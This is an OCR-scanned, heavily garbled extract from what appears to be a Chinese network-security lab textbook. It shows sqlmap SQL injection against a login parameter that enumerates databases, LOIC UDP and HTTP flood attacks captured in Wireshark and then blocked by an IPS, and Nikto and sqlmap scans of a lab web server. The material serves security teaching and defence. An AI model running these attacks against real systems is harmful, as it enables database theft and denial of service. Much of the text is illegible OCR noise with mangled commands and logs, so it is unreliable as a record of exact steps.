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Windows 7-1
192.168.1.21/24

Windows 7-2 Windows 7-3
110.10.1.12/24 110.10.1.100/24
¥ 2-31 BREWFESLH NI Windows 7-3 S5 Hl

(2) # A H3 C:\Python27\sqlmap . ¥T H Al $447 X4 cmmd.exe, WNE 2-32 FTw .

o0 0 s mmE € Pyhonz7 » samep » | ~[6|[ 2= sqime 4
@Ry MgF o mER sEveE =~ O @
S W % L SlE ) =i o

s T & github 2018/3/27 11:03  3rke
i d doc 2018/5/27 11:03  Sr=e
G| SEsiEkE A extra 2018/5/27 11:03 =
& lib 2018/5/27 11:03  Irise
O WPSTErH M plugins 2018/5/27 11:03  H3k
J procs 2018/5/27 11:03 30
] M shell 2018/5/27 11:03  THsE
E A tamper 2018/5/27 11:03  rig=e
B 5 i thirdparty 2018/5/27 11:03  xi==
Bs J e 2018/5/27 11:03 i
&) 3 b udf 2018/5/27 1103 zidsk
o BF M waf 2018/5/27 11:03 ik
S =l 2018/5/27 11:03  risk
M L gitattributes 2018/5/24 1:41  GITATTRIBUTES ... 1 KB
& seEs ) L] .gitignore 2018/5/24 1:41  GITIGNORE X% 1K
= 5% (D7 L] travis.ymi 2018/5/24 1:41 YML 1 KB
e () A cmd.exe 2018/5/28 9:06  tRiEAT 2KB|
LICEMSE 2018/5,/24 1:41 = 19 KB
Ll payload.txt 2018/5/27 11:15  3rdaEs 1KB
& | | README.md 2018/5/24 1:41 MD 3rig 5 KB
_l sqimap.conf 2018/5/24 1:41  CONF 374 20 KB
[# sqimap.py 2018/5/24 1:41 Python File 15 KB
[# sqimapapi.py 2018/5/24 1:41 Python File 3 KB
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5% Enter 8. WM& 2-33 fras .

(3) TE 2R Hm P A2 sqlmap.py -r "payload. txt" -p password -dbs
an

C:“\Python2sqlmaptsglmap.py —»r "pavload.txt' -p password —-—dbs

& 2-33 ®Hj Ao

(1) Fi A yv.¥% Enter # ., WK 2-34 A~

http://sqglmap.oryg

[*] legal disclaimer: Usage of sglmap for attacking targets without prior mutual
consent is i1llegal. It is the end user’s responsibility to obhey all applicable
local, state and federal laws. Developers assume no liability and are not respon

s1ble for anvy misuse or damage caused by this program

[#] starting at 18:21:45

1121491 LINFO]1 heuristic (hasic?> test shows that POUOL
cght be injectahle (possible DBMS: "MySQL* >

it looks like the back—-end DBMS is 'MySQL’. Do you want to skip test pavloads
cific for other DBHEES?'[YHn] Y I

parameter °

& 2-34 Hi Ay

(5) FEiA v.7% Enter 8., 0& 2-35 T~ .
(6) %A n.f% Enter 8., W0& 2-36 AT/~

(7) FHiA n.7% Enter 8. U0& 2-37 B
(8) AkLE# A n,F% Enter 88, W& 2-38 Fr .
(9) SQL F A BRI nE 2-39 Frows .

(10) ZESLEHL Windows 7-1 H T H-30 Y 4% , 78 Ho ik A2 A
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http:

[*] legal disclaimer: Usage of
consent 1s i1llegal. It 1is the
local, state and federal laws.
sible for any misuse or damage

[#] starting at 18:21:45

L1KW:21:245]1 LINFO1 parsing HIITF
121461 LINFO]1l test ill'_| COnme

[18:21:42]1 [INFO1 heuristics de
| |||' Caprgenl | |||"|||| |'|r,'|| ||':' o Dme |',i|||:_ 0Ot I..IILIF..'lF:':'

[100:21:=49 ] [INFO)] checking if

s7sqlmap .oryg

sqlmap for attacking targets without prior mutual
end user’s responsibility to obey all applicable

Developers assume no liability and are not respon
caused by this program

I | ]
|"|'|| 1e 51 t 1*O0Mm ||.||_|I||.||:| LW

1= i'||| S0 | |||' 1 .||"l|| 1 |||:|.

||'|'||'|:| '__'l']l _||.|i_||' | ||-I|"" £ 1 I';.l::::lll

l1M:21:249]1 [LINFO)]l testing 1f the tarqget URL content 15 stable

[18:21:49] [INFO] tarqget URL content 1is table

[180:21:2492] [INFOQO] heuristic C(hasic) test shows that POST parameter ’password’
ght be injgectable {(possible DBMS: "MySQL’ >

[11:21:49 ] LINFO] testing for :

QL injection on POST parameter ’'passwoprd’

it looks like the back—-end DBMS is "MySQL’. Do you want to skip test pavyloads sp

ecific for other DBMSes? L[Y¥Y/nl

Y

for the remaining tests, do you want to include all tests for ‘MySQL’ extending
provided level <1> and risk (1> ualues?l[?ﬁn] yl

 2-35 FHiAy

L1WZ21:561 LINFOL] testing "MybQL »= 5.1 error—baser Farameter replace <(EalRAC(]

JALUE>’

L1W:21:56)1 LINFO)l testing "MybsQL inline guerles’
L1W:-21:56]1 LINFO] testing "MysSQL 2 .11 stacked gueries <comment>’
L1W:21:56)1 LINFOl testing "HMHysQLl » 5.W.11 stacked gueries”
:21:561 LINFO] testing "MySQL 2> 5.8.11 stacked gueries <(guery SLEEFP comment

:21:561 LINFO] testing "MySQL 2> 5.U.11 stacked queries (guery SLEEP)’

M:21:=561 LINFO] testaing "MysQL < H.W.12 stacked queries C(heavy gquery comment

B:21:561 LINFO] testing "MuySQL < 5.8.12 stacked qgueries C(heavy guery)’
z21:56)1 LINFO] testaing "MuybQlh »>= 5.8.12 AND time-based blaind’
B:21:561 [INFO] testing "MySQL >= 5.08.12 OR time-—-based blind’
[18:22:0861 [INFO1 POST parameter ’'password’ appears to be "MySQL >= 5_HA.12 OR ti

e—based blind’ injectable

[1A:22:86]1 [INFO]1 testing 'Generic UNION query C(NULLD> 1 to 20 columns’
L1BZ22IMb 1 LINFOL testing "MybW@h UNIUON query C(NULL)Y 1 to 28 columns’
122 Mb ] LINFOLl antomatically extending r»anges tor UNIUN quervy injection techn

Lgue t
[18:22:861 [INFO1 “ORDER BY’ technigque appears to be usable. This should reduce
he time needed to find the right number of querv columns. HAutomatically extendi

g the range for current UMNMIOM gquerv injection technigue test

L1W:22::M6]1 LINFO] target URL appears to have 3 columns in guery

injection not exploitable with NULL values. Do you want to try with a random int
zger value for option '—union—-char’? |[¥/n]l n

ests as there 15 at least

one other (potential?» technigue found

& 2-36 Hi A n
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[189:21:561 LINFO1 testing "MysSQL > 5.8.11 stacked queries <{guery SLEEP)’
[108:21:561 [INFO1 testing "MySQL <€ 5.0.12 stacked queries Cheavy guery commen t

L18:=21:561 LINFOl testing "MySQL < 5.8B.12 stacked gueries <{heavy gquery)’
[18:21:561 [INFO1 testing ’MuySQL >= 5.8.12 AND time—based hlind’

L1221 561 LINFO]1 testing "MysQL 2 v.M.12 0OK time—based blind’

[18:=22:861 [INFO]1 POST parameter *password’ appears to be "HMySQL >= 5.8.12 OR ta
ne—based blind’ injectable

[18:22:86]1 [INFO]1 testing ‘' Generic UNION query <MULL> - 1 to 28 columns’
[18:-22:86]1 LINFO] testing "MySQL UNION gquery C(NULL> 1 to 280 columns’
L1226 ]1 LINFU]l automatically extending ranges ftor UNIUON guery injection techn
Lue tests as there 1s at least one other (potential) technigue found

L1226 1 LINFOL1 "ORDER BY® technigue appears to be usable. 1his should reduce
the time needed to find the right number of guery columns. Automatically extendi
1ig the range for current UNION query injection technigue test

L1V-Z22:HM6]1 LINFO]1l target URL appears to have 3 columns i1n guerwy

injection not exploitable with NULL values. Do you want to try with a random int
rgeyr value for option '"——union—char’? [¥Y/n] n

[108:22:88]1 [WARNING] if UMNION based $SQL injection is not detected, please consi
2 usage of option '——union—char’ <e.g. '——union—char=1'>» and/or trvy to force

2 bhack—end DBEMS <e.g. "——dbms=mnysqgl’ )

L1B:22:881 LINFO]1 target URL appears to be UNION injgectable with 3 columns
injection not exploitable with NULL values. Do you want to try with a random int
ger value for option ’——union-char’?

& 2-37 WA n

[18:=22:88]1 [LINFO] target URL appears to be UNION injectable with 3 columns
injection not exploitable with NULL values. Do you want to try with a random int
zger value for option ’—union—char’? [¥Y/n] n

[18:22:18]1 [INFO] testing "MySQL UNION gquery <{random numbher> 1 to 28 columns’
L1WzZ22:11 1 LWARKNING] 1f UNION based SQL ingection 1s not detected, please consaid
2y andsor try to force the back—-end DBEMS {e.g. "——dbms=mysqgql’>

[108:22:11]1 [INFO1 testing "MySQL UNION query <(NULL> 21 to 48 columns’
(18222111 LINFO]l testing "HMybsyl UNION query <(random number) 21 to 48 columns’

[18:22:111 [INFO] testing 'MySQL UNION query <NULL> 41 to 68 columns’
L1B:22:121 LINFO1l testing "MySQL UNION guerv <(random number) — 41 to 6 columns’

[10:=22:12]1 [INFO] testing "MySQL UNION query C(NULL> bl to 88 columns’
(18222121 LINFO]l testing "HMybQLl UNION query <random number?> - 61 to 88 columns’

L1WzZ22:13]1 LINFO] testing "MySQL UNION guery <NULL) 81 to 1UH columns’

[18:22:13]1 LINFO]1 testing "MySQL UNION guerv <(random number?> — 81 to 188 columns

[18:22:13]1 [WARNING] in OR boolean—based 1injection cases, please consider usage

pt switch "——drop—-set—cookie’ 1t vou experience any problems during data retriev

L1B:22:13]1 LINFO] checking 1t the ingection point on POST parameter ’'password’ 1
a False positive

0ST parameter ’password’ is vulnerable. Do you want to keep testing the others

(if any)?

i
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Rt

BN BEA: cmd.exe

=22: [INFO]1 retrieved: information_schema -
i & LINFO1 retrieved: dvwa

'y LINFO] retrieved: limesurvey

2= [INFO] retrieved: mysqgl

.y ¥ LINFO] retrieved: pertormance_schema

4 [INFO] retrieved: phpemns

:22:2 [INFO]1 retrieved: phpemsorigin

b+ 4 [LINFO]l retrieved: test

dvwa
information_schema
limesurvey

mysqgl
performance_schena
phpens
phpemsorigin

test

[18:22:281]1 [INFO] fetched data logged to text files under "C:Nlsers™Hdministrato
PC-201783181045 N sglmap~utput~118.18.1.12"

[#] shutting down at 18:22:28

]

s “\Python2?7>sqlmap>
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2391412 152.880102 110.65%. 70.100 172.16.8.100 UDP 74 source port: dfn Destination port: http
2391413 132.830110172.16. 8,100 110, 6%, 70,100 TCMP 102 pestination unreachable (Port unreachahle)
2391414 132,880120 110,65, 70,100 172.168.8.100 UDP 74 Source port: dfn Destination port: http
23814715 132 8B801332 172168100 110, 6%, 70100 TMP 102 pestination unreachabhle (Port unreachahblel
2391416 132.88!3811().69.?(].1()(] 172.16.8.100 UDP 74 Source port: dfn Destination port: http
2391417 132.8580154 172.16. 8,100 110, 8%, 70,100 ICMP 102 pestination unreachable (Port unreachahle)
23591418 132.8800170110. 65, 70.100 172.16.8.100 74 source port: dfn Destination port: http
2391419 132,8530177 172,16, 8,100 110, 6%, 70,100 TCMP 102 pestination unreachable (Port unreachahle]
2391420 132,880193 110,65, 70.100 172.16.8.100 UDP 74 Source port: dfn Destination port: http :E
F Frame 1458G25: 74 bytes on wire (552 bit=s), 74 bytes captured (592 hits) on interface 0

F Ethernet II, Src: Realteku_0a:70:al (52:54:00:0a:70:a0), Dst: Realteku_z2b:7Ll:b7 (52:54:00:2h:71:h7)

F Internet Protocol version 4, sSrc: 110,69, 70,100 (110,69, 70,1000, Dst: 172.16.8.100 (172.16.58.1007

F User Datagram Protocol, Src Port: aplx (11340, Dst Port: http (80)

FH Data (32 bytes)
0000 52 54 00 Zb 71 by 52 54 (00 0a 70 a0 08 00 45 00 RT.+4.RT ..p...E.
0010 00 3¢ df ee Q0 00 7 11 2 ad Ge 45 46 54 ac 1f . .. NEFd, .
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% 3-131

SHIHL 7TACMS, £

e & IR A7 L)

WE R T HL S  Won e B DR R D R B s . Wi ] 3-131 B

F Wireshark 4 2L @ A a] I
AL R I AL O B AR B R GeFH W, an &l 3-132 Pz,

@ Capturing from Intel (R) PRO/1000 BT Metwork Connection: ‘\Device\NPF_{F423210A-89E3-48C3-BFBO-8ES1E{DET49D] [Wireshar NEIES
Fle Edit Wiew Go Capture Analyze Statistics Telephony  Tools  Internals  Help

S EHBAN EERTE AT L|I|EBIQQAQAH | EEB X B

Filter: j Expression... Clear  Aprly  Save

[Ho. |Time Bowree  IDestination  [Protocal [Length [Infy | «]

[l R R s

2 GE.Z2085920172.16.8. 50

23 9R. 6372520 Realteku_oa:70:a0
24 5R.6372670 Realteku_2b:71l:k7
25 5. 963637017216 8, 50

2B GE. 9637200 172.16.8,.100

A7 hE.Ge38480 172,168, 50

28 HGH. 9638560 172,168, 50

29 5%, 3020750 Realteku_Da:70: a0
30 5%, 3020850 realteku_2b:7l:k7
31 63. 5451630 realteku_o0a:70:ad
32 B3, 5451800 Realteku_2h:¥élhy
33 63, 5452540 Realteku_0a:70:al0
34 63, 5452610 Realteku_2h:71:h7
35 63, 5452900 Rrealteku_Da:70:a0
35 63, 5452950 Rrealteku_2hb:7l:k7
a7 FOOBO03280172.16.8.1

172.16.8.255
realteku_2b:71:b7
RealtekU_0a:70:a0
172.16.8,255
172,168,257
172.16.8.255
172.16.8.255
realteku_2b:71:b7
RealtekU_0a:70:al
Broadcast
Realteku_0a:70:a0
Broadcast
Realteku_Da:70:al
Broadcast
RealtekU_0a:70:a
255.255.255.255

MEMNS
ARP

ARP
BROWSEFR
BROWSEF
BROWSEFR
BROWSEF
ARP

ARP

ARP

ARP

ARP

ARP

ARP

ARP
MMDP

Ca Lid. O. L0 T3 dC T2 . . 0d.ce.¢r L7

110 Registration MB <0lx<02>_ MSBROWSE__ <(02><(0lx>
60 who has 172.16.8.1007 Tell 172.16.8.1

42 172.16.8.100 1= at 52:54:00:2b:71:b7

223 Reguest Announcement ANY-100005

243 Local Master Aannouncement w3sP2, workstation, Server, NT

223 Reguest Announcement ANY-100005

253 pomainsworkgroup Announcement WORKGROUP, NT workstation,

60 who has 172.16.8.1007
42 172.16.8.100 95 at 52
60 wha h 172.16.8.1007
42 172.08%8.100 15 at 52
60 who has 172.16.8.1007
42 172.16.8.100 is at 52
60 who has 172.16.8.1007
42 172.16.8.,100 95 at 52

Tell 172.16.8.1
154 :00:2kh: 71 b7

Tell 172.16.8.1
ST WIS o T I a

Tell 172.18.8.1
154 :00:2b:71 b7

Tell 172.16.8.1
154 :00:2kh: 71 b7
131 Source port: rrac Destination port: rrac
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II{ H‘ ['0°0°01 - 19D

=
WXPSP3. 172.16.8.50/24 HHL. 10.0.0.22
4 3-133 SR Ay 2 M EE L WXPSP3

™ Low Orbit Ion Cannon | Yhen harpoons, air strikes and nukes fails | ». 1.0.8.0

i e = [ B T ] T [ e e e e e e e T T T e R e T Pl =TT

IRL Lock on

P AT216.8.100 | Loack an

i | B

Stop flooding

Toternet Explorer - BEHETH3

Selected taroet

172.16.8.100

. iﬁiﬂﬂfﬁﬁ » B
s IDFRZLLAIEE T

3. attack options
Timeout HTTP Subsite TCP FUDP meszage
00 ! A cat i fine foo, Desudesudesu~

Internet Explorer
10 Wit far reply !

Methor Threads == faster zlovver ==

Aftack status
Idle Connecting Reguesting Dovwvnloading Dovwenloaded Feguested Failed

0 0 3 38 1080425 0

% 3-134 {5 1F UDP Flood I 5

EE]LBI Orbit Ion Carnmon | When harpoons, air strikes and rukes fails | ». 1.0.8.0

. Sekct your target

- LURL | Lock on
_LL| ﬂfﬁ % ﬂg P 1721635100 | Lock on

Intern=t Explorer $EEEE

~elected tarcet

IESTHLELTERIE:

o BERRAGEE . B
o WREHEELIEN

4. Attpck options
Timenovt HTTP Subsite TCP P LDP message

Q0 i) A catis fine too. Desudesudesu~

10 it for reply

Threads == faster zlower ==

Connecting Feguesting Do mioading Covvnloaced Feguested Failec

1 0 3 35 24997 0
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% 3% ANEZGHmMASSHLERE

110.10.1.1/24 —\
ﬁ -
3¢ 5\ GE2 GE3 =
. T I’{ * \l \H.-________a-f"/ -
= 172.16.18.1/24 IPS ACMS(Web258)
WXPSPS . - | ; '
110.10.1.100/24 - 172.16.8.100/24
=
;
—
- - - -

WXPSP3 . 172.16.8.50/24 & . 10.0.0.22
# 3-136 &AM N N AR 55 a5 B P 74CMS

(14) FEPLF Y Wireshark Z 4, o] WWHIREL A HTTP Flood X5 A1, AN & 3-137
R 7S .

Tl Capturing from Intel (E) FEOS1000 BT Network Conmection: ‘\Device\HFF_{E423710A-89E3—48C3-HEFB9-8ES1E4D8T4901 ['|'1r = IE IEI

File  Edit View Go g&ture Analyze  Statistics  Telephony  Tools  Internals  Help
Sl B ee = BREZEE Qs T LEZ|IBE QQEQf| Mk G

Filter: j Expre=z=ion. .. Cleat: Apply Save

Ha. ITime IS-:-urce I]:Iestinati-:-n IPr-:-t-:-c-:-l ILenEth IInf-:- I.-.
FraIs LZol.aH . . LU Irc. 0. o, T T T 1 d ML [A-] SE-2l ALh-—cZel WIT=J11I537 CEI=T

cr

A7465 1282.45745.110, 69,770,100 172.16.
Fr466 1282.45744 110,69, 70,100 172.16.8.100 60 instantia »

100 TCR 60 instantia > http [ACK] Seq=£1 Ack=438l win=65535 Len=0
http [ACK] Seg=21 Ack=7301 win=65535 Len=0

16.58.100

Fr4V0 1282, 69, 70.100 172.

45751 110. TCP 60 nm=d > http [ACK] Seqg=21 Ack=2%921 win=535535 Len=0

172. 60 instantia >

Fr472 1282,455938110. 16.8.100

69, 70,100 TCR http [ACKk] sSeq=21 Ack=8761 win=65535 Len=0

Ar474 1282,46065 110, 6%, 70,100 172.16.8,.100 TCP 60 instantia » http [ACK] Seg=21 Ack=1168l win=62615 Len=0
8

Fr475 1282,.46065 110.69,70,100 172.16.5.100 TCR B0 instantia » http [ACK] Seq=21 Ack=14601 win=596%5 Len=0
Fr476 1282.46064 110,659, 70,100 172.16. 8,100 TCP 60 mesavistaco > http [ACK] Seg=l Ack=1l wWin=63535 Len=0
Fr478 1282.46115110.69,70,100 172.16.5.100 TCR 60 nm=d > http [ACK] Seq=21 aAck=7F301l wWin=33335 Len=0 I

F Frame 754592: 508 bytes on wire (4064 bits), 508 bytes captured (4064 bits) on intertace 0
M Ethernet II, sSrc: RealtekU_2b:71:b7 (52:54:00:2b:71:b7), Dst: RealtekuU_0a:70:a0 (52:54:00:0a:70:a0)

E Transmission Control P-otocol, Src Port: http (80), Dst Port: caspss]1 (11310, Seq: 17521, aAck: 21, Len: 434

0000 52 594 00 Qa 70 a0 42 54 00 2k 7. b7 08 00 45 00 RT..p.RT .+0...E. il
O01lo 01 =2 20 2« 40 00 20 0O 00 00 acs 10 08 krd mpe 46 N & ' - cdrE

o020 46 &4 00 50 04 &b a8 9h d5 08 da <4 F1 13 50 18 Fd.P.k.. ....Q.P.

0030 T ek 6a fe 00 00 22 3e d7 dd4 bé a8 d2 e5% cO bS T

0040 <4 bf 3¢ 2f 61 32 3c 2f B4 69 FA 3e 0d 0a 3c 64 o dares vl <ed _:]
it BTy = i T = N o T = S A Y | e ) ! e B T = = i T == T = = e = = | RN I B =L Ll . 1 =1 PR

ﬂ ﬁ' Intel(R} 2RO 1000 MT Metwork Connection: | Packets: 77478 Displayed: 77478 Marked: 0 Profile:; Defaut

# 3-137 JMHLE] HTTP Flood X £l

(15) ZE45 FEAL A F7 97 30 %8 28, 76 #h Bk A2 o dig A AR B &R 48 7= dh /9 1P Hb it
https://10.0.0.1CLASEPRiZ & 1P Huhk o0 ) , 2F A AR B R Gend 5 % i . i A 3
5 FH P 44 admin FIE S 1 fw@2s0oc = 3vpn B AR H RS, EFEmAR L S H
R Mg —“DDoS P4 " Bag 2 . WAl 3-138 fros.

(16) ZE“DDoS B Fimd, B “ 3T ACL B kR 2w, FEE 22 5 4 58 B 7
Fry 7K B P R DU L i ] 3-139 i,
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& 3-141 i HTTP Flood B ik i

i Ay B 7 RORE B PR AT S AT ECE L AN TA] 3-142 P
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R bt B Lalhls il o | T2
BCLAE R AT e S HTSECh
=
= m - as % HTREEEE TS | AR
ACLEEE LY OV ACKIHzk Bk A Kt PR s Tl S L¥hihE HTTRESCEk fTEasT , ThERESEEE,
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B 1 B W= L il =l B |
% 3-142 =Tl
A 3- + = HIJ BAC &.

GRS L Won B R AR R R B s A Al 3-143 B .

EEEFEFALD
iEE
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(21) BRI FA DAy A M ik 55 4% g AL 74CMS, 1
%A HTTP Flood (¥ 61 . WN & 3-144 Fis.

/1 Capturing from Intel (R) FEDS1000 BT Hetwork Conmection: \Device\HFF_{E423710A—89E3-48C3-EFF9-SES1E4DET43D}

Wireshark {45 A a]

e

=15 x|

[Tireshark '1,

File Edt Wew GO Caplure aAnalyze  Statistics Telephony  Tools  Internals  Heb
BEea EEXEe AT aEE QAAAan @2 % B
Filter: j Expresz=siom. .. Clear Apply Save
I
Ha. Time Sourece Destinatilk Protaocol |Length |Tnfa .

283 = http [RsT] Eeq—l win=0
directwvdata » http [RST] Seg=1l win=0
datusorh = h‘T;l [R=T]
caps-1m »
dtalk =
plato =

o 0 JLE)

70,100

P A9, 0,100

o s R R = e O PRI ¥
ALY (BB i ALEIE
874 110,69, 70,100

172,
Lo
172
B[
17>
L

16.8.100
1a.8.100
16, 8.100
i =y el e )
16. 8.100
16.8.100

TCF
TCF
TCF
TCF
TCP
TCF

2= II

I—'H

Win=0 Len=

Sen=]
TEFE RS Leq—l win=0 LHH—I
http [RST] Seq=l win=0 Len=0
http [RST] Seq=l win=0 Len=0

26121821909.

G658 Realteku_0a:

Fl:ald Realteku_2b:7l:kb7 ARP who has 172.16.8.1007 Tell 172.16.8.1
261219 1909, 85658 Realteku_20:71:b7 Realteku_0a:70:ald ARP 42 172.146.8.100 s at 52:54:00:2b:71:b7
201220 1910.65620 Realteku_0a:70:a0 Realteku_zb:71:b7 ARP 80 who has 17z2.16.8.1007 Tell 172.16.3.1
261221 1910, 685622 Realtekl_2b:71l:b7 Realteku_0a:70:ald ARP 42 172.15.8.100 95 at 2:5%4:00:2h:71:b7
2E1222 1911. 83634 Realteku_0a:70:a0 Realteku_zZb:7Tl:b7  ARP 680 who has 172.16.8.1007 Tell 172.16.8.1
261223 1911. 65637 realtekl_2b:71:b7 Realteku_0a:70:ald ARP 42 172.15.8.100 s at 32:594:00:2h:71:b7
dBlZ2Z4 1916, 57757 RealtekUu_Da:f0:ald Broadcast ARF g0 who has 172.16.4.100% Tell 172.16.8.1
261225 1916, 5775% Rrealtekl_2b:71:b7 Realteku_0a:70:ald ARP 42 172.15.8.100 s at 32:94:00:2h:71:b7 EI

Frame 754%2: 508 hytes on wire (4084 bits), 508 bytes captured (4064 bits) on interface o
[ Ethernet II, sSrc: Realteku_2b:7l:b7 (52:54:00:20:71:b7), Dst: Realteku_0Oa:7d:a0 (52:54:00:0a:70:a0)

- Transmission Control Frotocol, Src Port: http (B0, Dst Port: caspss]| (11313, Seq: 17521, ack: 21, Len:

0000 G52 G4 0a 70 a0l 52 54 00 2b 71 kb7 0@ 00 HT..p.HT .

0012 01 ee 30 5c 40 00 80 05 00 0D ac 10 08 64 Ge 45 2 dnE :J
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root@kali: ~ @ ® 0
XHHF) fwmiB(E) ER/(V) BFE(S) £i&(T) MENH)

Host authentication to use, format is id: pass or id:p

Update databases and plugins from CIRT. net
Print plugin and database versions
Virtual host ( for Host header)

+ requires a value

This 1is the short help output., Use -H for full help text.

kto -n 172,16 8100 -1 9

List all available plugins
Write output to this file
Force ssl mode on port

Scan tuning
Timeout for reguests (default 10 seconds)

& 4-36 I&4T

Nikto 14 i il
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root@kali: ~ @ ® 0

XHF(F) 4RiB(E) EB/(V) BER(S) L(T) HWENH)

root@ali: ~# nikto -h 172.

Mikto wv2.1.6

Target IP:
Target Hostname:
Target Port:
Start Time:

Server: Microsoft- IIS

+ + + + + + + +

ms of X55

+ Uncommon header 'microsoftofficewebserver

+ The X-Content- Type-Options header is not set.
e in a different fashion to the MIME type

+ 0SVDE-397: HTTP methc
+ 0OSVDB- 5646: HTTP method
+ Retrieved dasl header: <DAV:
+ Retrieved dav header:

16.8.100 -T 9

. 16. 8. 100
. 16. 8.100

2018-01-

S/6,.0

1 2

d ' PUT
' DELETE!

24 23:36:36 (GMTE)

Cookie 172.16. 8. 100Rescurce created without the httponly flag
Cookie ASP. NET_Sessionld created without the httponly flag
Retrieved microsoftofficewebserver header: 5.0 Pub
Retrieved x- aspnet-version header: 1.1.4322
Retrieved x- powered- by header:
The anti-clickjacking X-Frame- Options header is not present.

The X- X55-Protection header is not defined. This header can hint to the user agent to protect against some for

ASP. NET

allows clients to save files on the web server.
allows clients to delete files on the web server.

sql=

+ Retrieved ms- author- via header: MS-FP/4. 0, DAV
+ Uncommon header ' ms- author- via' Tuund with contents:
OPTIONS, TRACE, GET, HEAD, DELETE, PUT, POST, COPY, MOVE, MKCOL, PROPFIND, PROPPATCH, LO

+ Allowed HTTP Methods:

CK, UNLOCK, SEARCH

+ 0OSVDB-5646: HTTP method ('
+ 0OSVDB-397: HTTP method (' Allow
+ OSVDE-5647: HTTP metho

OPTIONS,

+ Public HTTP Methods:
K, UNLOCK, SEARCH

+ 0SVYDB- 5646: HTTP method ('
+ 0SVDB-397: HTTP method (' Public
+ 0SVYDB-5647: HTTP method ('

(4) AN G (e B is i1 —
AATARZS U A 4-38 Bz .

(5) fEEHPLA

T

d (' Allow' Header]: 'MOVE' may
TRACE, GET, HEAD, DELETE,

found, with contents: 5.0 Pub
This could allow the user agent iﬂ render the content of the sit

S-FP/4. 0, DAV

Allow' Header): '"DELETE' may allow clients to remove files on the web server.
Header): 'PUT' method could allow clients to save files on the web server.
allow clients to change file locaticons on the web server.

PUT, POST, COPY, MOVE, MKCOL, PROPFIND, PROPPATCH, LOC

Public' Header): 'DELETE' may allow clients to remove files on the web server.
Header]): 'PUT" method could allow clients to save files on the web server.
Public' Header): 'MOVE' may allow clients to change file locations on the web serve r-.
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root@kali: ~ @ ® O

XHF) #WIB(E) EBR(V) ER(S) LT MENH)
+ Start Time: 2018-01-24 23:54: 13 (GMT8)

. Microsoft-11S/6.0
le 172.16. 8. 100Resource created without the httponly flag
le ASP. NET_Sessionld created without the httponly flag
leved microsoftofficewebserver header: 5.0_Pub
¥X- aspnet-version header: 1.1.4322
=2d x- powered- by header: ASP.NET
The anti-clickjacking X- Frame- Options header is not present.
header is not defined. This header can hint to the user agent to protect against some for

ms of K55
+ Uncommon header 'microsoftofficewebserver' found, with contents: 5.0 Fub

THRe X- Content- Type-0Options header is not set. This could allow the user agent to render the content of the sit
o 1n a different fashion to the MIME type

Retrieved dasl header: <DAV: sql>

] dav header: 1, 2

Retrieved ms- author-via header: MS-FR/4, 0, DAY

Uncommon header ' ms- author-via' found, with contents: MS-FP/4.0, DAV
+ Allowed HTTP Methods: OPTIONS, TRACE, GET, HEAD, DELETE, PUT, POST, COPY, MOVE, MKCOL, PROPFIND, PROPPATCH, LO
CK, UNLOCK, SEARCH
+ 05VDB- 5646: HTTP method (' Allow' Header): 'DELETE' may allow clients to remove files on the web server.
+ 0SVDB-397: HTTP method (' Allow' Header): 'PUT" method could allow clients to save files on the web server.
+ 0SVDB-5647: HTTP method (' Allow' Header): 'MOVE' may allow clients to change file locations on the web server.
+ Public HTTP Methods: OPTIONS, TRACE, GET, HEAD, DELETE, PUT, POST, COPY, MOYE, MKCOL, PROPFIND, PROPPATCH, LOC
K, UMNLOCK, SEARCH
+ 05VDB- 5646: HTTP method (' Public' Header): 'DELETE' may allow clients to remove files on the web server.
+ 0SVDB-397: HTTP method (' Public' Header): 'PUT" method could allow clients to save files on the web server.
+ 05VDB-5647: HTTP method (' Public' Header): 'MOVE' may allow clients to change file locations on the web server

+ WebDAV enabled ( PROPFIND SEARCH LOCK UMLOCK PROPPATCH COPY MKCOL listed as allowed)

+ ERROR: Error 1imit (20) reached for host, giving up. Last error: opening stream: can't connect (timeout): B1{E
HiE IEfE# T

+ Scan terminated: 19 error(s) and 22 item(s) reported on remote host

+ End Time: 2018-01-25 00:017: 45 ( GMT8) (452 seconds)

+ 1 host({s) tested
: ~3f
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(2) FE a2 7 F i H A a2 “sqlmap -u 172.16.8.100/show. aspx? pid=
287 A 4-86 Fis .
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- - dump- all Dump all DBMS databases tables entries

-D DB DBMS database to enumerate

- T TBL DBMS database table(s) to enumerate

-C COL DBMS database table column{s) to enumerate

Operating system access:
These options can be used to access the back-end database management
system underlying operating system

.« D8=shall Prompt for an interactive operating system shell
- - 0S- pwn Prompt for an 00B shell, Meterpreter or VNC

General:
These options can be used to set some general working parameters

Never ask for user input, use the default behaviour
Flush session files for current target

Miscellaneous:
- - sqlmap- shell Prompt for an interactive sqlmap shell
--wizard Simple wizard interface for beginner users

[!1] to see full list of antigns ruo with '-hhi
: ~# sglmap -u 172. 16. 8. 100/ show. aspx? pid=28
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~
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[*] starting at 00: 51: 23

: |n | |
[ 00: 51: 23] [ CRITICAL]
ind of WAF/IPS/IDS

full list of options run with
: ~# sqlmap

-u 172, 16. 8. 100/ show. aspx?pid=28

root@kali: ~

tlun qumap shell

for an 1nt:s
T r beginner users

wizard inter

alat

sqlmap for attacking targets without prior mutual
end user's responsibility to obey &all applicable
Developers assume no liabllity and are not respon
caused by this program

heuristics detected that the target is protected by some k

do you want sqlmap to try to detect backend WAF/IPS/IDS? [ y/N] l
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[00: 51: 23] [CRITICAL]

ind of WAF/IPS/IDS

do you want sqlmap to try to detect backend WAF/IPS/IDS? [ y/N]

| vt
[00:54:07] [CRITICAL]
golng to retry the request
[ 00: 54: 38] [CRITICAL]
Igning to retry the request
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heuristics detected that the target is protected by some k

connection timed out to the target URL or proxy.
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attacking targets without prior mutual
responsibility to obey all applicable
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sqlmap is

connection timed out to the target URL or proxy. sglmap is

l'

..!l_..'l

L INE 4-91 B s,
TR R BRI, AT R 3 N EE AL, W 1A 4-92

ST BE AL . ARSI AN TR S

w47 AN s B s A2, A AT I T
(6) AR & i;&f TX SQ

-I%ﬁzifj ,Qn|3q 4—5}5 Eﬂf;r*ﬂ
L Xt ) 0ok 25000 BOIE

& SIS Py |

187



. AAZAEM 5 AAZ A RIS IS s

188

e S o ox SESETONS Soa N | BORETO S
3 s ok Y RS s wme = w0 IO D OUTBOLN DS
1 gl I | — - 36600 1 GO 12261 Kb 11121 Kbpe
orhervaden Fi Fi G0y 0 o
3 G0 O 0
4 Gedjod 0 o
LT TCO AR S s B0 a K || some o
i BAER R0 il At ¥N Wi -
20TEM/ 23 AT N 19590 11ER. D TF2 88100 . i |. .
AOWMVZIIGSINT  PEEGE 19439 TIRGSTGIDD 172768100
0100121 165117 dEEcE 1010081 11060100 1T218A10D
